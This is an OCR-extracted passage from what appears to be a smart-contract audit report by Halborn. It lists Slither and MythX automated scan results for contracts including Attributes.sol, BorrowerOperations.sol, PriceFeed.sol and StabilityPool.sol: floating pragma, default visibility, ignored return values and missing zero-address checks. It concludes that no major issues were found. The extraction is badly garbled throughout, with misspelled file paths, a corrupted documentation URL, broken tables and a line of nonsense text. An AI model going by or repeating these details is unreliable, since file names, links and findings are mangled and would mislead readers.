(grc/Attributes.sol#167) Detectors Attributes.addReset(address, bool, address) (grc/Attributes.col#160-175) ignore return value by _asset.add(_asset) (grc/Attributes.sol#167) Detectors Attributes.addReset(address, bool, address) (grc/Attributes.gol#160-175) ignore return value by _asset.add(_asset) (grc/Attributes.sol#167) Detectors Attributes.addReset(address, bool, address) (grc/Attributes.gol#160-175) ignore return value by _asset.add(_asset) (grc/Attributes.sol#167) Reference: http://github.com/cytic/alther/mix/Detocto-Documentation@wising-zero-address-walidation | IMPODERECTION | Company |

contracts/PriceFeed.sol contracts/StabilityPool.sol 256, intr256/ | stc/stability/our.au.8121 37 18418-423 |dress,address,address,address,address,address | (src/StabilityPool.sol#228-271) |dr.SDCLossPerUnitStaked) (src/StabilityPool.sol#471) ulnitably tervised and the second series and the second second series and the second s

```
contracts/LSDCToken.sol
contracts/ClipManager.sol
```

• As a result of the tests carried out with the Slither tool, some results were obtained and reviewed by Halborn. Based on the results reviewed, some vulnerabilities were determined to be false positives. The actual vulnerabilities found by Slither are already included in the report findings.

6.2 AUTOMATED SECURITY SCAN

Description:

Halborn used automated security scanners to assist with detection of well-known security issues, and to identify low-hanging fruits on the targets for this engagement. Among the tools used was MythX, a security analysis service for Ethereum smart contracts. MythX performed a scan on all the contracts and sent the compiled results to the analyzers to locate any vulnerabilities.

MythX results:

Line	SWC Title	Severity	verity Short Description		n	
3	(SWC-103) Floating Pragma	Low	A f	loating pragm	a is set.	
	r src/BorrowerOperations.sol ashboard.mythx.io/#/console/	analyses/5b1b	Babc-!	5733-46cd-92f	b-f4aa26628	Babd
Line	SWC Title			Severity	Short Des	scription
3	(SWC-103) Floating Pragma			Low	A floating pragma is set.	
24	(SWC-108) State Variable Default Visibility			Low	State var	riable visibility is not se
26	(SWC-108) State Variable Default Visibility			Low	State var	riable visibility is not se
28	(SWC-108) State Variable Default Visibility			Low		riable visibility is not se
port fo	r src/Attributes.sol					
port fo			c134-		a-fd0b1231	
port fo tps://d	r src/Attributes.sol ashboard.mythx.io/#/console/:	analyses/a28e	c134-	80fb-460e-b4c	a-fd0b1231: n	
port fo tps://d Line 3	r src/Attributes.sol ashboard.mythx.io/#/console/: SWC Title	analyses/a28e Severity Low	c134-: Sho: A f: 9eb8	80fb-460e-b4c rt Descriptio loating pragm	a-fd0b1231: n a is set. b-f2c3beceU	19e3
port fo tps://d Line 3 port fo tps://d	r sro/Attributes.sol ashboard.wythx.io/#/console/. SWC Title (SWC-103) Floating Pragma r sro/PriceFeed.sol ashboard.wythx.io/#/console/.	analyses/a28e Severity Low analyses/e7c1	Sho:	88fb-468e-b4c rt Descriptio loating pragm e168-4fde-be8	a-fd0b1231: n a is set. b-f2c3becet	19e3
port fo tps://d Line 3 port fo tps://d Line 3	rer/Attributes.sol ashboard.sythv.io/#/console/. SWC Title (SWC-103) Floating Pragua r src/PriceFeed.sol ashboard.wythv.io/#/console/. SWC Title	Severity Low analyses/e7c1 Severity Low	Sho: A f: 9eb8- Sho: A f:	88fb-460e-b4c rt Descriptio loating pragm e160-4fde-be0 rt Descriptio loating pragm	a-fd0b1231: n a is set. b-f2c3becel n a is set.	19e3 3e73
port fo tps://d Line 3 port fo tps://d Line 3	re/Attributes.sol ashboard.sythv.io/#/console/- SWC Title (SWC-103) Floating Pragua rerc/Pricefeed.sol swbboard.sythv.io/#/console/- SWC Title (SWC-103) Floating Pragua rerc/StabilityPool.sol	Severity Low analyses/e7c1 Severity Low	Sho: A f: 9eb8 Sho: A f:	88fb-460e-b4c rt Descriptio loating pragm e160-4fde-be0 rt Descriptio loating pragm	a-fd0b1231: n a is set. b-f2c3becet n a is set. a-e3cfb463:	19e3 be73

• No major issues found by Mythx.

THANK YOU FOR CHOOSING

